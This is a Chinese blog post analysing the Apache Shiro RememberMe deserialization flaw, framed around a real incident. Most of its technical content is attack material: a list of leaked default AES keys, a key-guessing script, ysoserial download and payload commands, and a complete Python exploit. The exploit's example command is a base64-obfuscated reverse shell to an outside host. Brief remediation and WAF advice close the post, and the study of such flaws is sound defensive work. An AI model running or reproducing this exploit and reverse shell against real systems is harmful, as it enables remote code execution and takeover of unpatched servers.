Shiro反序列化漏洞全链路分析:从默认密钥到GetShell实战

Shiro反序列化漏洞全链路分析:从默认密钥到GetShell实战

上周帮朋友应急,一台内网服务器被打了。上去一看,Shiro框架,默认密钥没改,攻击者直接反序列化GetShell。朋友一脸懵:"我就是用了个框架,这也能被搞?"

能,而且非常容易。今天把Shiro反序列化漏洞从原理到实战完整过一遍,看完你就知道这个漏洞到底有多危险。

0x01 漏洞简介

Apache Shiro是Java生态中最常用的权限认证框架之一。它提供了"Remember Me"功能,用户登录后会生成一个加密的Cookie,下次访问时自动认证。问题出在这个Cookie的处理流程上:

用户Cookie → Base64解码 → AES解密 → Java反序列化

如果AES密钥泄露(默认密钥被公开),攻击者就可以构造恶意的序列化数据,经过AES加密、Base64编码后塞进Cookie,服务端解密后直接触发反序列化漏洞。

影响版本:Shiro < 1.2.5(硬编码默认密钥),以及使用了已泄露密钥的所有版本。

0x02 默认密钥搜集

Shiro早期版本硬编码了一个默认密钥:

// Shiro源码中 DefaultCipherService 的默认密钥
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = 
    Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

但实战中,很多人即使升级了Shiro版本,密钥也没换。GitHub上有一份泄露的常见密钥列表,简单列几个:

# 常见Shiro默认密钥
DEFAULT_KEYS = [
    "kPH+bIxk5D2deZiIxcaaaA==",  # 官方默认
    "4AvVhmFLUs0KTA3Kprsdag==",
    "Z3VucwAAAAAAAAAAAAAAAA==",
    "fCq+/xW488hMTCD+cmJ3aQ==",
    "0AvVhmFLUs0KTA3Kprsdag==",
    "1AvVhdsgUs0FSA3SDFAdag==",
    "2AvVhdsgUs0FSA3SDFAdag==",
    "3AvVhmFLUs0KTA3Kprsdag==",
]

密钥猜解脚本思路:

import base64
import uuid
import requests

def check_shiro_key(url, key_b64):
    """检测Shiro密钥是否可用"""
    key = base64.b64decode(key_b64)
    # 构造一个合法的RememberMe Cookie
    # 这里用简单的序列化对象做测试
    payload = b'\xac\xed\x00\x05'  # Java序列化魔数
    # ... 加密逻辑省略,实际使用工具
    
    headers = {
        'Cookie': f'RememberMe={base64.b64encode(encrypted).decode()}'
    }
    resp = requests.get(url, headers=headers, allow_redirects=False)
    
    # 判断响应头是否包含deleteMe
    # 有deleteMe = 密钥错误,无deleteMe = 密钥正确
    if 'deleteMe' not in resp.headers.get('Set-Cookie', ''):
        return True
    return False

核心原理:密钥正确时服务端正常处理Cookie,不返回deleteMe;密钥错误时反序列化失败,返回deleteMe删除无效Cookie。

0x03 漏洞复现

最常用的工具是ysoserial,它可以生成各种利用链的payload:

# 下载ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar

# 生成Commons Collections利用链payload
java -jar ysoserial-all.jar CommonsCollections2 "touch /tmp/pwned" > payload.bin

Python一键检测脚本:

import base64
import uuid
import subprocess
import requests
from Crypto.Cipher import AES

def encrypt_payload(payload, key):
    """AES-CBC加密payload"""
    iv = uuid.uuid4().bytes
    pad = 16 - len(payload) % 16
    payload = payload + chr(pad).encode() * pad
    
    cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(payload)
    return base64.b64encode(iv + encrypted).decode()

def exploit(target_url, command, key="kPH+bIxk5D2deZiIxcaaaA=="):
    """利用Shiro反序列化执行命令"""
    # 生成payload
    result = subprocess.run(
        ["java", "-jar", "ysoserial-all.jar", "CommonsCollections2", command],
        capture_output=True
    )
    payload = result.stdout
    
    # 加密并发送
    cookie_value = encrypt_payload(payload, key)
    headers = {"Cookie": f"RememberMe={cookie_value}"}
    
    resp = requests.get(target_url, headers=headers, timeout=10)
    return resp.status_code

if __name__ == "__main__":
    target = "http://192.168.1.100:8080/"
    result = exploit(target, "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}")
    print(f"[*] Status: {result}")

0x04 修复方案

1. 更换密钥(最基础)

// 生成随机密钥
import org.apache.shiro.crypto.AesCipherService;
AesCipherService cipherService = new AesCipherService();
byte[] newKey = cipherService.generateNewKey(128).getEncoded();
System.out.println(Base64.getEncoder().encodeToString(newKey));

2. 升级Shiro版本

1.2.5+移除了硬编码密钥,1.4.2+引入了更强的安全机制。建议至少升级到1.13.0。

3. WAF规则

在WAF层拦截包含RememberMe字段的请求中检测Java序列化魔数(ac ed 00 05)。

0x05 经验总结

  • 默认密钥必须换。不只是Shiro,任何框架的默认密钥都要改
  • 反序列化漏洞危害极大,直接RCE,不要心存侥幸
  • 内网不代表安全。这次应急就是内网横向渗透打过来的
  • 版本升级后记得清理配置。很多人升级了Shiro版本,但密钥还是老的

安全这事儿,差一步就是天壤之别。


如果这篇文章对你有帮助,点个赞让更多人看到。有疑问评论区聊,关注"安全值班室"持续获取安全干货。

标签: Shiro, 反序列化, 漏洞分析, Java安全

分类: 漏洞分析


关注「安全值班室」公众号

每天AI安全早报 + 实战攻防案例 + 网安学习路线连载

关注安全值班室

posted on 2026-06-02 09:05  明.Sir  阅读(122)  评论(0)    收藏  举报

导航